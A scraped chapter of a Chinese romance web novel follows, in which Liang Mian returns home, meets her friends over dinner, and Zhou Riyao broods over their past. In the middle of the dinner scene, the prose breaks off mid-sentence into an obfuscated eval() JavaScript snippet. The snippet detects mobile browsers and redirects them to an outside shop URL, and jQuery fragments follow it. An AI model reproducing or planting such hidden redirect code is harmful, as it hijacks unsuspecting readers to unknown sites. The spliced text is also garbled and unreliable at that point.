文趣网 > 都市小说 > 黄昏晓[破镜重圆] > 2. 要见
    梁免回国前,提前一个月联系好了租客。

    回到家时,租客按照约定,把钥匙和电梯卡放在了门口的地毯下面。

    打开门进去,既熟悉又陌生。

    这五年,租客没有换过,是两个小姐姐。把房子维持得很好,临走前还打扫得干干净净。

    想想,加上在周家待的那五年,梁免竟然有十年没住在这里了。

    沙发皮面坏了一处,她记得,是当年跟奶奶玩,无意间划破的。

    梁免的名字就是奶奶起的,希望她这一生可以免去一切痛苦,无难无灾。

    梁免也确实如此,搅拌车侧翻砸中她家的车,只有她一个人幸免于难。

    在沙发前蹲下,梁免摸着那道划痕,多年积攒的情绪在这一刻爆发。

    又或者带着与周日尧重逢的痛苦,梁免失声痛哭。

    哭到后面,梁免就那样趴着睡着了。

    她又梦到了奶奶和爸妈。

    自从知道那件事决定回国后,梁免就会经常做这样的梦。

    梦中一次又一次地再现车祸那天的场景,连带着那种痛苦,在梦里都非常清晰。

    在梦的最后,也总是会出现一张男人的脸。这个男人坐在搅拌车的驾驶位上,居高临下地看着满身是血的梁免。

    “周日尧!!”——

    林以阳电话打进来的时候,梁免后知后觉自己又叫了周日尧的名字。

    梁免抹了把脸,一手的汗。

    每一次的梦境都异常真实,梁免缓了一会儿才起身去拿手机。

    她的腿有些麻,起来的时候没站稳,腿磕到了茶几的一角,疼得梁免眼泪都出来了。

    林以阳的电话因此没有接到。

    梁免正想给她回过去,林以阳又打了一遍。

    梁免揉着小腿:“喂,我刚才——”

    “阿免怎么了,你没事吧?不会是周日尧去找你然后你被刺激了——”

    周日尧?

    梁免打断了林以阳的话:“你说什么?周日尧去找我?”

    林以阳:“昨天你刚从医院走,他就去我病房了。也是奇怪,你刚回来,他怎么就知道你在医院呢?”

    他看到她了?

    不对,他一定没有看到。

    是汤承允。

    “阿免,你……你怎么想的啊?我的意思是跟周日尧之间……”林以阳问得小心。

    手上一用力,被撞的地方更疼了。

    她跟周日尧…

    没有之间。

    “你什么时候出院?不是说今天还要给我接风洗尘的吗?你身体OK吗?”

    电话那头,林以阳默默叹气,顺着梁免的话接下去。

    “中午就能出院了,你要不要来接我?”

    梁免一笑:“接你这事,怎么也轮不到我呀?你们家祝老师呢?”

    林以阳嗫嚅半天,也扯开了话题。

    两人又聊了一会儿,后来干脆拉上沈枝在群里聊了起来,定下了吃饭的时间和地点。

    三人从小就认识,小初高都是同学,尤其是高中三年,分了几次班都始终在一起。

    沈枝去年结了婚,嫁入豪门郭氏,还没有难缠的婆婆。如今怀了孕,更是家中的宠儿。

    林以阳大学毕业后留校任职,跟她的祝老师如愿成为同事。虽然那层窗户纸还没有捅破,但也是拉扯暧昧让人看了好不过瘾。

    梁免站起来活动了一下,一瘸一拐地走着。

    好像只有她,挺惨的。

    梁免笑了一下,环视整个房子。

    这次回来没有打算再离开,所以她打算再小小地装修一下。

    至于周日尧——

    在医院里,她应该跟周日尧相见的。

    不过没关系,她回来了,就有的是时间。

    **

    接风宴祝康屿没去,祝康屿也就是林以阳的祝老师。梁免知道,一定是林以阳没有跟他说。

    毕竟,祝康屿是周日尧的好兄弟。

    沈枝虽然挺着个大肚子,身形倒没有变化多少。

    一提起这个,她老公郭恒就非常骄傲地说自己养得好。

    又营养还不发胖。

    梁免跟林以阳听了,默契地咂了咂嘴。

    “阿免这次回来要不要再多待一段时间啊,等宝宝出生再走?”沈枝还有两个月就生了。

    梁免摇摇头。

    “这么快啊?”林以阳跟沈枝都有些惊讶。

    “不是,是这次回来不准备走了。今年年初,公司就开始开拓中国市场,这不,我就趁着这股东风被调回来了。”

    林以阳:“那可真是太好了!!你出国这几年,咱们就去年见过一次吧,简直太折磨人了!”

    “哎呀这可真的是一件大喜事,到时候宝宝出生了,两个干妈都陪在身边!”沈枝跟着鼓掌。

    梁免:“说到工作,接下来,我可是要成为华大的常驻人口咯。”

    梁免大学毕业后,就进了M国的UA。UA是一家国际策展公司,双年展艺术周这些都有涉及。包括一些配套的文化衍生服务,像画册的策划出版、新建文化中心的前期策划等等。

    邳城的分公司也是去年才刚成立,今年接了一个美术馆的新建策划与策展。

    林以阳:“这事我还真听祝康屿提起过,学校有意建一个专属美术馆,没想到找的是你们公司。”

    华大的美术系在全国都非常有名,国画油画甚至雕刻方面都有代表人物。

    周日尧的母亲,也是画国画的。

    不知道周日尧,现在还在华大任职吗?

    梁免的眼神暗了暗,旋即又恢复正常。

    “那周末的商务宴请原来是给你们准备的呀?”林以阳问。

    梁免勾过林以阳:“你们家祝老师是不是要代表祝校参加?听说还要带女伴哦。”

    ——祝康屿是教大学数学的。

    林以阳佯装生气推了梁免一把:“我不知道。”

    这时候,倒是沈枝想到了什么。她拿起手机,跟林以阳使了个眼色。

    郭恒:“阿免这么久没回来,这家上了很多道特色菜,看看还有没有想吃的。这个手工荔浦芋头不错,甜口的。”

    梁免看着Pad上菜品的图片,余光注意到那两位正通过手机发消息,不知道在密谋什么。

    这个郭恒还给她们打配合呢。

    【你收到了一条消息】

    沈枝:周日尧不也在华大嘛,他会不会去啊?

    林以阳:应该不会吧,他去干啥?找骂吗?我们阿免喜欢他喜欢了那么久,不答应就算了,干嘛还用别的女人来膈应人。

    沈枝:话说当年到底是什么情况咱们都不清楚,我怎么听说不是这回事呢?

    林以阳:无论是与不是,周日尧绝不能原谅!

    梁免:“你们俩偷摸聊什么呢?”

    梁免猝不及防地问了一句,两人一时没反应过来。

    沈枝更是口快地回了话:“我就问阳阳周日尧会不会去,万一你俩碰上了——”

    林以阳:“沈枝!”

    郭恒也是无奈地握了下沈枝的手。刚还觉得他老婆聪明呢,这怎么感觉也是一孕傻三年了。

    沈枝连忙捂了下嘴巴,有点不知所措。

    倒是梁免,云淡风轻地笑了一下:“遇到就遇到,在这个小地方,总不能一辈子都见不到吧。他还在华大

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746210|209299||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    吗?”

    她还怕遇不到呢。

    **

    华大美术馆的商务宴请定在了邳城最高端的天莱酒店。

    主要负责人祝康屿一连几天都在做准备工作,林以阳的聚会都没有时间送她。

    宴会当天,他早早地来到酒店,跟广告公司的策划总监一起再过一遍流程。

    并且还拉来了周日尧。

    “干什么呢?帮我看看这些花摆得怎么样?我怎么觉得颜色这么不搭呢?”

    祝康屿拉着旁边一直低头看手机的周日尧,渴望寻求一些有价值的建议。

    周日尧熄了屏,但还是被祝康屿看到了。

    “见到阿免了?”

    周日尧把手机揣进口袋,目光随意看了看:“你都请专业的来了,还需要我这个外行人什么建议?”

    此时此刻,不,每时每刻,他满脑子都是梁免。

    那个一走就走了五年的梁免。

    本以为在医院能遇上,他在敲开病房门前,短时间内把能说的话都在脑子里过了一遍,结果竟然没有见到人。

    聊天软件里,梁免的账号还在置顶。

    那一个个红色的感叹号从五年前开始,一直都没有停过。

    梁免孤身一人去的M国,他竟然没有查到一丝一毫关于梁她的消息。

    就像她毫无预兆的回来一样,他从不知晓。

    见到阿免,怎么可能?

    “承允说,在医院看到阿免了。”祝康屿继续问。

    “嗯。”

    “只要她回来了,说不定你们马上就能见到了。当年——”

    “这两盆颜色相冲,把这盆放到另一边去。”

    周日尧拉住一个布置的学生,指挥着,再一次避开了祝康屿的话题。

    谁都知道,梁免是周日尧的结。

    也是劫。

    可心结要解开,劫难要破开。

    祝康屿还欲说什么,周日尧干脆拍了拍他的肩膀往外走。

    “我看你这没什么需要我的,我先去透透气。”

    说是透气,周日尧直接离开了酒店。

    开着车漫无目的地绕,周日尧不觉间就到了梁免的小区。远远地看着梁免之前的家

    ——去了周家之后,这里梁免很少会回来。

    他还记得有一次梁免跟他闹脾气,一声不响地回来住,偏巧那天又打雷又下雨。还好钥匙就放在门口的地毯下面,他开门进去的时候,小梁免就好像知道他会过来似的,抱着小娃娃就跑了过来,嘴里还一直喊着他的名字。

    想到这,周日尧不觉笑了起来。

    梁免离开后,他也试图到房子里看看。恰好遇到租户进门,他才知道这里被梁免租了出去。

    车窗被敲了敲,周日尧抬头降下车窗。

    “阿尧,你回来啦?怎么在这停着呢?”

    “妈。”周日尧叫了一声,并没有回答。

    这个小区是华大教职工的宿舍楼,他妈陈心玄是美术系的老师。他爸生意做大了之后,就搬了出去。

    这几年他很少回家,隐约记得之前他妈提了一嘴,说是想搬回来住。

    梁免爸妈,生前也在华大任职。

    陈心玄装作无意地往不远处看了一眼,她心下明了。

    “回去吃饭吧,正好你王姨寄的大闸蟹到了,我还说你要没时间回来做好给你送过去呢。”

    周日尧没吭声。

    陈心玄:“你爸…他不在家。”

    周日尧:“妈我今天还有事,改天再——”

    话还没说完,手机收到了祝康屿的消息,就简单的两个字:速来

    还配上一张照片。

    是梁免!